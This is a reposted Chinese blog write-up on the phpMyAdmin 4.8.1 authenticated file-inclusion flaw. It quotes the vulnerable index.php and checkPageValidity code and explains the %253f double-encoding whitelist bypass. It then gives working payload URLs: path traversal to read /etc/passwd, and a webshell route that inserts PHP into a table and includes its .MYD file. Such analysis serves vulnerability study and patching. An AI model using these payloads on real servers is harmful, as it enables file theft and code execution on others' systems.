分享web开发知识

注册/登录|最近发布|今日推荐

主页 IT知识网页技术软件开发前端开发代码编程运营维护技术分享教程案例
当前位置:首页 > 软件开发

phpmyadmin 4.8.1任意文件包含

发布时间:2023-09-06 02:00责任编辑:熊小新关键词:暂无标签
phpmyadmin 4.8.1任意文件包含

0x00 phpmyadmin简述

phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法,方便编写网页时所需要的sql语法正确性。

0x01 影响版本

phpmyadmin 4.8.1
之前的版本没有测试
注:需要登录phpmyadmin才可利用

0x02漏洞分析

查看index.php 55~63行代码

if (! empty($_REQUEST[‘target‘]) ???&& is_string($_REQUEST[‘target‘]) ???&& ! preg_match(‘/^index/‘, $_REQUEST[‘target‘]) ???&& ! in_array($_REQUEST[‘target‘], $target_blacklist) ???&& Core::checkPageValidity($_REQUEST[‘target‘])) { ???include $_REQUEST[‘target‘]; ???exit;}

条件为真(条件):

  1. $_REQUEST[‘target‘] 不能为空
  2. $_REQUEST[‘target‘] 是字符串
  3. $_REQUEST[‘target‘] 不能以index开头
  4. $_REQUEST[‘target‘] 不能在$target_blacklist;而$target_blacklist = array (‘import.php‘, ‘export.php‘);
  5. 需要满足Core::checkPageValidity($_REQUEST[‘target‘])

Core::checkPageValidity($_REQUEST[‘target‘]),查看phpMyAdmin1\libraries\classes\core.php
checkPageValidity 函数具体代码:

public static function checkPageValidity(&$page, array $whitelist = []) ???{ ???????if (empty($whitelist)) { ???????????$whitelist = self::$goto_whitelist; ???????} ???????if (! isset($page) || !is_string($page)) { ???????????return false; ???????} ???????if (in_array($page, $whitelist)) { ???????????return true; ???????} ???????$_page = mb_substr( ???????????$page, ???????????0, ???????????mb_strpos($page . ‘?‘, ‘?‘) ???????); ???????if (in_array($_page, $whitelist)) { ???????????return true; ???????} ???????$_page = urldecode($page); ???????$_page = mb_substr( ???????????$_page, ???????????0, ???????????mb_strpos($_page . ‘?‘, ‘?‘) ???????); ???????if (in_array($_page, $whitelist)) { ???????????return true; ???????} ???????return false; ???}

出现问题的代码:

$_page = urldecode($page); ???????$_page = mb_substr( ???????????$_page, ???????????0, ???????????mb_strpos($_page . ‘?‘, ‘?‘) ???????); ???????if (in_array($_page, $whitelist)) { ???????????return true; ???????}

在请求的链接中包含%253即可绕过,那可以构造的链接有:
db_sql.php%253/../../../../../../etc/passwd
db_sql.php可以替换成一下:

‘db_datadict.php‘, ???????‘db_sql.php‘, ???????‘db_events.php‘, ???????‘db_export.php‘, ???????‘db_importdocsql.php‘, ???????‘db_multi_table_query.php‘, ???????‘db_structure.php‘, ???????‘db_import.php‘, ???????‘db_operations.php‘, ???????‘db_search.php‘, ???????‘db_routines.php‘, ???????‘export.php‘, ???????‘import.php‘, ???????‘index.php‘, ???????‘pdf_pages.php‘, ???????‘pdf_schema.php‘, ???????‘server_binlog.php‘, ???????‘server_collations.php‘, ???????‘server_databases.php‘, ???????‘server_engines.php‘, ???????‘server_export.php‘, ???????‘server_import.php‘, ???????‘server_privileges.php‘, ???????‘server_sql.php‘, ???????‘server_status.php‘, ???????‘server_status_advisor.php‘, ???????‘server_status_monitor.php‘, ???????‘server_status_queries.php‘, ???????‘server_status_variables.php‘, ???????‘server_variables.php‘, ???????‘sql.php‘, ???????‘tbl_addfield.php‘, ???????‘tbl_change.php‘, ???????‘tbl_create.php‘, ???????‘tbl_import.php‘, ???????‘tbl_indexes.php‘, ???????‘tbl_sql.php‘, ???????‘tbl_export.php‘, ???????‘tbl_operations.php‘, ???????‘tbl_structure.php‘, ???????‘tbl_relation.php‘, ???????‘tbl_replace.php‘, ???????‘tbl_row_action.php‘, ???????‘tbl_select.php‘, ???????‘tbl_zoom_select.php‘, ???????‘transformation_overview.php‘, ???????‘transformation_wrapper.php‘, ???????‘user_password.php‘,

0x03通过文件包含获取webshell

前提条件首先知道数据库的路径

查看当前数据库的路径:

show variables like ‘datadir‘


我新建了一个数据库 tt,在tt数据库中添加一个了表,在表中插入了<?php phpinfo()?>
然后访问:http://localhost/phpMyAdmin1/index.php?target=db_sql.php%253f/../../../../../../phpStudy/MySQL/data/tet/tt.MYD

0x04参考链接

https://mp.weixin.qq.com/s/HZcS2HdUtqz10jUEN57aog

phpmyadmin 4.8.1任意文件包含

原文地址:http://blog.51cto.com/13770310/2131305

知识推荐

我的编程学习网——分享web前端后端开发技术知识。 垃圾信息处理邮箱 tousu563@163.com 网站地图
icp备案号 闽ICP备2023006418号-8 不良信息举报平台 互联网安全管理备案 Copyright 2023 www.wodecom.cn All Rights Reserved